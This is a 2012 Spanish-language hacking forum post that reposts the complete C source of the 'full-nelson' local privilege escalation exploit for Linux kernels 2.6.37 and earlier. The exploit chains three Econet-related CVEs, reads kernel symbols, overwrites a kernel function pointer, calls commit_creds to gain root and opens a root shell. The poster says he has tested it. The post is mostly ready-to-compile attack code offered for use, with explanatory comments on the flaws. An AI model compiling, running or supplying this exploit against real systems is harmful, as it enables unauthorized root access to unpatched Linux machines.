comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Nelson.c Local Root Linux Kernel <= 2.6.37

  • 0 Respuestas
  • 3002 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« en: Junio 22, 2012, 10:10:00 pm »
Navegando en mi pc, encontre un Source de un exploit q da root de manera locan en Linux Kernel <= 2.6.37 como no vi nada publicado me decidi a postearlo (esta probado por mi)

Aca el Source:
Código: Text
  1. /*
  2.  * Linux Kernel <= 2.6.37 local privilege escalation
  3.  * by Dan Rosenberg
  4.  * @djrbliss on twitter
  5.  *
  6.  * Usage:
  7.  * gcc full-nelson.c -o full-nelson
  8.  * ./full-nelson
  9.  *
  10.  * This exploit leverages three vulnerabilities to get root, all of which were
  11.  * discovered by Nelson Elhage:
  12.  *
  13.  * CVE-2010-4258
  14.  * -------------
  15.  * This is the interesting one, and the reason I wrote this exploit.  If a
  16.  * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
  17.  * word will be written to a user-specified pointer when that thread exits.
  18.  * This write is done using put_user(), which ensures the provided destination
  19.  * resides in valid userspace by invoking access_ok().  However, Nelson
  20.  * discovered that when the kernel performs an address limit override via
  21.  * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
  22.  * etc.), this override is not reverted before calling put_user() in the exit
  23.  * path, allowing a user to write a NULL word to an arbitrary kernel address.
  24.  * Note that this issue requires an additional vulnerability to trigger.
  25.  *
  26.  * CVE-2010-3849
  27.  * -------------
  28.  * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
  29.  * fairly benign as a local denial-of-service.  It's a perfect candidate to
  30.  * trigger the above issue, since it's reachable via sock_no_sendpage(), which
  31.  * subsequently calls sendmsg under KERNEL_DS.
  32.  *
  33.  * CVE-2010-3850
  34.  * -------------
  35.  * I wouldn't be able to reach the NULL pointer dereference and trigger the
  36.  * OOPS if users weren't able to assign Econet addresses to arbitrary
  37.  * interfaces due to a missing capabilities check.
  38.  *
  39.  * In the interest of public safety, this exploit was specifically designed to
  40.  * be limited:
  41.  *
  42.  *  * The particular symbols I resolve are not exported on Slackware or Debian
  43.  *  * Red Hat does not support Econet by default
  44.  *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
  45.  *    Debian
  46.  *
  47.  * However, the important issue, CVE-2010-4258, affects everyone, and it would
  48.  * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
  49.  * more sophisticated version of this that doesn't have the roadblocks I put in
  50.  * to prevent abuse by script kiddies.
  51.  *
  52.  * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
  53.  *
  54.  * NOTE: the exploit process will deadlock and stay in a zombie state after you
  55.  * exit your root shell because the Econet thread OOPSes while holding the
  56.  * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
  57.  *
  58.  * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
  59.  */
  60.  
  61. #include <stdio.h>
  62. #include <sys/socket.h>
  63. #include <fcntl.h>
  64. #include <sys/ioctl.h>
  65. #include <string.h>
  66. #include <net/if.h>
  67. #include <sched.h>
  68. #include <stdlib.h>
  69. #include <signal.h>
  70. #include <sys/utsname.h>
  71. #include <sys/mman.h>
  72. #include <unistd.h>
  73.  
  74. /* How many bytes should we clear in our
  75.  * function pointer to put it into userspace? */
  76. #ifdef __x86_64__
  77. #define SHIFT 24
  78. #define OFFSET 3
  79. #else
  80. #define SHIFT 8
  81. #define OFFSET 1
  82. #endif
  83.  
  84. /* thanks spender... */
  85. unsigned long get_kernel_sym(char *name)
  86. {
  87.         FILE *f;
  88.         unsigned long addr;
  89.         char dummy;
  90.         char sname[512];
  91.         struct utsname ver;
  92.         int ret;
  93.         int rep = 0;
  94.         int oldstyle = 0;
  95.  
  96.         f = fopen("/proc/kallsyms", "r");
  97.         if (f == NULL) {
  98.                 f = fopen("/proc/ksyms", "r");
  99.                 if (f == NULL)
  100.                         goto fallback;
  101.                 oldstyle = 1;
  102.         }
  103.  
  104. repeat:
  105.         ret = 0;
  106.         while(ret != EOF) {
  107.                 if (!oldstyle)
  108.                         ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  109.                 else {
  110.                         ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
  111.                         if (ret == 2) {
  112.                                 char *p;
  113.                                 if (strstr(sname, "_O/") || strstr(sname, "_S."))
  114.                                         continue;
  115.                                 p = strrchr(sname, '_');
  116.                                 if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
  117.                                         p = p - 4;
  118.                                         while (p > (char *)sname && *(p - 1) == '_')
  119.                                                 p--;
  120.                                         *p = '\0';
  121.                                 }
  122.                         }
  123.                 }
  124.                 if (ret == 0) {
  125.                         fscanf(f, "%s\n", sname);
  126.                         continue;
  127.                 }
  128.                 if (!strcmp(name, sname)) {
  129.                         fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
  130. "");
  131.                         fclose(f);
  132.                         return addr;
  133.                 }
  134.         }
  135.  
  136.         fclose(f);
  137.         if (rep)
  138.                 return 0;
  139. fallback:
  140.         uname(&ver);
  141.         if (strncmp(ver.release, "2.6", 3))
  142.                 oldstyle = 1;
  143.         sprintf(sname, "/boot/System.map-%s", ver.release);
  144.         f = fopen(sname, "r");
  145.         if (f == NULL)
  146.                 return 0;
  147.         rep = 1;
  148.         goto repeat;
  149. }
  150.  
  151. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  152. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  153. _commit_creds commit_creds;
  154. _prepare_kernel_cred prepare_kernel_cred;
  155.  
  156. static int __attribute__((regparm(3)))
  157. getroot(void * file, void * vma)
  158. {
  159.  
  160.         commit_creds(prepare_kernel_cred(0));
  161.         return -1;
  162.  
  163. }
  164.  
  165. /* Why do I do this?  Because on x86-64, the address of
  166.  * commit_creds and prepare_kernel_cred are loaded relative
  167.  * to rip, which means I can't just copy the above payload
  168.  * into my landing area. */
  169. void __attribute__((regparm(3)))
  170. trampoline()
  171. {
  172.  
  173. #ifdef __x86_64__
  174.         asm("mov $getroot, %rax; call *%rax;");
  175. #else
  176.         asm("mov $getroot, %eax; call *%eax;");
  177. #endif
  178.  
  179. }
  180.  
  181. /* Triggers a NULL pointer dereference in econet_sendmsg
  182.  * via sock_no_sendpage, so it's under KERNEL_DS */
  183. int trigger(int * fildes)
  184. {
  185.         int ret;
  186.         struct ifreq ifr;
  187.  
  188.         memset(&ifr, 0, sizeof(ifr));
  189.         strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
  190.  
  191.         ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
  192.  
  193.         if(ret < 0) {
  194.                 printf("[*] Failed to set Econet address.\n");
  195.                 return -1;
  196.         }
  197.  
  198.         splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
  199.         splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
  200.  
  201.         /* Shouldn't get here... */
  202.         exit(0);
  203. }
  204.  
  205. int main(int argc, char * argv[])
  206. {
  207.         unsigned long econet_ops, econet_ioctl, target, landing;
  208.         int fildes[4], pid;
  209.         void * newstack, * payload;
  210.  
  211.         /* Create file descriptors now so there are two
  212.            references to them after cloning...otherwise
  213.            the child will never return because it
  214.            deadlocks when trying to unlock various
  215.            mutexes after OOPSing */
  216.         pipe(fildes);
  217.         fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
  218.         fildes[3] = open("/dev/zero", O_RDONLY);
  219.  
  220.         if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
  221.                 printf("[*] Failed to open file descriptors.\n");
  222.                 return -1;
  223.         }
  224.  
  225.         /* Resolve addresses of relevant symbols */
  226.         printf("[*] Resolving kernel addresses...\n");
  227.         econet_ioctl = get_kernel_sym("econet_ioctl");
  228.         econet_ops = get_kernel_sym("econet_ops");
  229.         commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
  230.         prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
  231.  
  232.         if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
  233.                 printf("[*] Failed to resolve kernel symbols.\n");
  234.                 return -1;
  235.         }
  236.  
  237.         if(!(newstack = malloc(65536))) {
  238.                 printf("[*] Failed to allocate memory.\n");
  239.                 return -1;
  240.         }
  241.  
  242.         printf("[*] Calculating target...\n");
  243.         target = econet_ops + 10 * sizeof(void *) - OFFSET;
  244.  
  245.         /* Clear the higher bits */
  246.         landing = econet_ioctl << SHIFT >> SHIFT;
  247.  
  248.         payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
  249.                        PROT_READ | PROT_WRITE | PROT_EXEC,
  250.                        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
  251.  
  252.         if ((long)payload == -1) {
  253.                 printf("[*] Failed to mmap() at target address.\n");
  254.                 return -1;
  255.         }
  256.  
  257.         memcpy((void *)landing, &trampoline, 1024);
  258.  
  259.         clone((int (*)(void *))trigger,
  260.               (void *)((unsigned long)newstack + 65536),
  261.               CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
  262.               &fildes, NULL, NULL, target);
  263.  
  264.         sleep(1);
  265.  
  266.         printf("[*] Triggering payload...\n");
  267.         ioctl(fildes[2], 0, NULL);
  268.  
  269.         if(getuid()) {
  270.                 printf("[*] Exploit failed to get root.\n");
  271.                 return -1;
  272.         }
  273.  
  274.         printf("[*] Got root!\n");
  275.         execl("/bin/sh", "/bin/sh", NULL);
  276. }

HD_Breaker
« Última modificación: Junio 22, 2012, 10:17:38 pm por Snifer »

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

 

¿Te gustó el post? COMPARTILO!



Vulnerabilidad en Kali Linux Sana 2.0 CVE-2015-2008 Auditoria Omar Rodriguez

Iniciado por DaRK UnLiMiTeD

Respuestas: 0
Vistas: 2617
Último mensaje Septiembre 28, 2015, 10:37:40 pm
por DaRK UnLiMiTeD
Desbordando el buffer en linux x86 (III) [ASLR bypass]

Iniciado por q3rv0

Respuestas: 1
Vistas: 2511
Último mensaje Junio 23, 2015, 11:59:00 am
por roadd
Dirty COW: Elevación de Privilegios en Linux

Iniciado por Stuxnet

Respuestas: 1
Vistas: 2314
Último mensaje Octubre 28, 2016, 01:38:39 pm
por PikachuDorado
Rooteando Servidores Linux By:messerschmitt

Iniciado por RooT_Shell

Respuestas: 2
Vistas: 2114
Último mensaje Junio 25, 2010, 08:22:07 pm
por h4ck3r
Desbordando el buffer en linux x86 (II) [NOP Sled]

Iniciado por q3rv0

Respuestas: 2
Vistas: 2168
Último mensaje Septiembre 28, 2014, 12:15:51 pm
por Pr0ph3t